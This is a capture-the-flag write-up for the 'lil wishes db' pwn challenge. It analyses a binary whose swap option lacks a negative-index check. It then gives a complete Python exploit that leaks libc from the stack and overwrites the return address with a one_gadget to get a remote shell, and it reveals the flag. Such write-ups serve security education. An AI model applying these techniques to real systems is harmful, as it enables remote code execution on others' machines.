# lil wishes db [359]SOLVED
I don't want a lot for Christmas!
RCE is all I need
I don't care about protections
Underneath the RSP
**Target**: nc challs.xmas.htsp.ro 2002
**Author**: Th3R4nd0m
**Files**: lil_wishes_db.zip
##### The library used in the solution code is [`pwnscripts`](https://github.com/152334H/pwnscripts)## Inspection```shRELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols          FORTIFY Fortified       Fortifiable     FILEFull RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols         No    0               2               chall```The only thing good here is that FORTIFY is off.
The binary provides a 4 option CLI menu:```Choose:1.Swap IDs2.Print database3.Insert ID4.Exit```The loop for the menu is vaguely: ```cint print_db(__int64 *db) {  for (int i = 0; i <= 7; ++i)    printf("ID[%d] = %llu\n", i, db[i]);}int swapIDs(unsigned __int16 id1, unsigned __int16 id2, __int64 *s) {  __int64 tmp = s[id1];  s[id1] = s[id2];  s[id2] = tmp;}int main() {  setvbuf(stdin, 0LL, 2, 0LL);  setvbuf(stdout, 0LL, 2, 0LL);  __int64 db[9]; // [rsp+20h] [rbp-50h] this is the "database"  memset(db, 0, 0x40uLL);  int keep_running = 1;  puts("Wishes database\n");  while (keep_running) {    puts("Choose:\n1.Swap IDs\n2.Print database\n3.Insert ID\n4.Exit\n\nOption: ");    int opt, ind1, ind2;    scanf("%d", &opt;;    puts(&nul;;    switch (opt) {    case 2:      print_db(db);      break;    case 3:      unsigned index;      puts("Index: ");      scanf("%d", &index);      if ( index <= 7 ) { // unsigned --> unbugged        puts("Value: ");        scanf("%llu", &db[index]);      } else puts("Index should not be > 8");      break;    case 4:      keep_running = 0;      break;    case 1:      puts("Index 1:");      scanf("%d", &ind1);      puts("Index 2:");      scanf("%d", &ind2);      if ( ind1 <= 7 && ind2 <= 7 ) // lack of ind >= 0 check!        swapIDs((unsigned __int16)ind1, (unsigned __int16)ind2, db); //unsigned index overflow!      break;    default:      puts("Please choose one of the above");    }    puts(&nul;;  }  puts("Merry Christmas!");  return 0LL;}```Option 1 is **bugged** with the ability to swap with any index within the range of a `uint16_t`. The exploit framework for this is rather simple:0. use the swap bug to get a libc address in `db[0:8]`, then leak it with option 2.1. Write a rop chain to `db[0:8]` with option 3.2. Use the swap bug to shift it over to the return pointer & thereafter3. exit & let ROP work out.
## Exploiting
We'll start by mapping out all of the options as python functions:```pythonfrom pwnscripts import *context.binary = 'chall'context.libc_database = 'libc-database'context.libc = 'libc.so.6'r = remote('challs.xmas.htsp.ro', 2002)def opt(v): r.sendlineafter('Option: \n', str(v))def swap(id1, id2):    opt(1)    r.sendlineafter('Index 1:\n', str(id1))    r.sendlineafter('Index 2:\n', str(id2))def printIDs():    opt(2)    r.recvline()    return [int(r.recvline().strip().split(b'= ')[-1]) for i in range(8)]def insert(ID, v):    opt(3)    r.sendlineafter('Index: \n', str(ID))    r.sendlineafter('Value: \n', str(v))def rexit(): opt(4)```To leak libc, we'll grab the value of `__libc_start_main_ret` (libc-db symbol) from the return pointer of the function frame:```pythondef negID(v): return u32(p16(v)+b'\x00\xf0', sign=True) # cheap way to exploit swap()rtr_ind = 0x58//8   # db[] is at rbp-0x50.swap(0,negID(rtr_ind))context.libc.calc_base('__libc_start_main_ret', printIDs()[0])```Then, we'll just return to a `one_gadget`, which is particularly easy in this case (the requirement, `[rsp-0x40]==NULL`, is pre-fulfilled):```pythoninsert(0,context.libc.select_gadget(1))swap(0, negID(rtr_ind))rexit()r.interactive()```I tried making a ROP chain for `system(libc_binsh_str)` as a more sensible method of exploiting the binary, but kept getting errors (`SIGSEGV` with `rax == 0x10000001`) during execution. Not entirely sure why.
In any case, the `one_gadget` worked fine:```pythonMerry Christmas!$ ls[DEBUG] Sent 0x3 bytes:    b'ls\n'[DEBUG] Received 0x5e bytes:    b'bin\n'    b'boot\n'    b'dev\n'    b'etc\n'    b'home\n'...```## Flag`X-MAS{oh_nooo_y0u_ru1ned_the_xmas}`